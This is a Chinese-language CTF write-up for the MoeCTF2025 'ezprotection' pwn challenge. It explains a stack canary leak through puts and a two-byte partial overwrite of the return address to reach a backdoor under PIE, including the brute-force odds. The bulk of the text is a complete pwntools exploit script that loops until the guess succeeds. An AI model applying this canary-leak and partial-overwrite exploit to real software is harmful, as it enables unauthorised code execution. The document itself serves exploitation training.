ezprotection
.png)
main函数:
.png)
vuln函数:
.png)
backdoor函数:
.png)
题目有后门函数,我们看到vuln有两次栈溢出机会,第一次read读取后有一个put,那我们这里可以利用这个put泄露canary,然后第二次read就能栈溢出了,但是我们发现有PIE保护,但是我们又没有其他的操作的地方了,那我们就选择部分覆盖返回地址为后门函数地址
我们知道,返回地址存的是下一条指令的地址,那除了main函数,一般都是pie地址,假设是0x555555554011,我们知道,随机化的最小部分是页,也就是倒数第四位的数字是会被随机化改变的,而页内的偏移是固定的,也就是倒数一二三位一定是固定的,我们可以覆盖返回地址两字节为backdoor函数的倒数两字节,即倒数四位,那我们只有第倒数第四位是不一定正确的,所以我们有16分之一的概率对,这个概率可以直接爆破,如果一个程序为大小64kb及以下,那它的第一个地址和最后一个地址的倒数第五位相同,第四位随机,也就是我们这种情况,要是在64kb到1mb中,就是倒数第六位相同,就是倒数第六位相同,第四五位随机,但是我们只能一个字节一个字节的覆盖(即两位十六进制位),那我们的概率就变成了4096分之一,这种情况就不能采用部分覆盖的方法了,所以程序64kb以下绝大部分都可以部分覆盖,64kb以上就要实际调试看看页的情况了
这里我们就能栈溢出到后门函数了,注意直接溢出到backdoor函数的if分支里,这样不用通过检查直接就getflag了
EXP:
from pwn import *
context(arch='amd64', os='linux')
file_name = './pwn'
elf = ELF(file_name)
gdb_ = 1 if ('gdb' in sys.argv) else 0
switch = 1 if ('remote' in sys.argv) else 0
debug = 0 if ('deoff' in sys.argv) else 1
error = 1 if ('error' in sys.argv) else 0
while True:
if switch:
target = '127.0.0.1'
port = 41425
p = remote(target, port)
else:
p = process(file_name)
if debug:
context(log_level='debug')
if error:
context(log_level='error')
if gdb_ and switch == 0:
gdb.attach(p)
pause()
def s(data): return p.send(data)
def sa(delim, data): return p.sendafter(delim, data)
def sl(data): return p.sendline(data)
def sla(delim, data): return p.sendlineafter(delim, data)
def r(numb=4096): return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl(): return p.recvline()
def ra(t=None): return p.recvall(timeout=t)
def cl(): return p.close()
def it(): return p.interactive()
def uu64(data): return u64(data.ljust(8, b'\x00'))
def search(s): return next(elf.search(s if isinstance(s, bytes) else s.encode()))
def lg(name, data): return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def ntpie(leak, offset, name='PIE'): return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def ga(delim=b'\n', name='Leak'): return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16) for a in re.findall(b'0x[0-9a-fA-F]+', ru(delim))])]
def fill(num, content=b'A'): return (content.encode() if isinstance(content, str) else content) * num
#################################################################################
try:
backdoor = 0x127d
payload = flat([
fill(0x20-0x8+0x1)
])
sa(b"Here is a beautiful canary, and it will be watching over you.",payload)
ru(b"A" * (0x20-0x8+0x1))
canary = b'\x00' + r(7)
payload2 = flat([
fill(0x20-0x8),
canary,
fill(0x8),
p16(backdoor)
])
sa(b"be able to overflow enough bytes.",payload2)
response = p.recvall(timeout=0.5)
if b'flag{' in response or b'ctf{' in response:
context.log_level = 'info'
lg("BINGO! Found flag", response)
it()
break
p.close()
except EOFError:
p.close()
continue
except Exception as e:
p.close()
continue
题目链接:
CTF-Writeups/MoeCTF2025/ezprotection at main · Zenquiem/CTF-Writeups
ezprotection
https://zenquietus.top/archives/wei-ming-ming-wen-zhang-uOifLHYY